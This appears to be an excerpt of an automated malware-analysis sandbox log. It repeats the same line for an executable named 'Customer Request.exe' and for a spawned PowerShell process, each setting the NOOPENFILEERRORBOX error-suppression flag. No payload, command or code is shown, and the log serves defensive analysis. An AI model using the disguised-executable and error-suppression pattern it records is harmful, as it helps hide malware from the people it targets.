Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
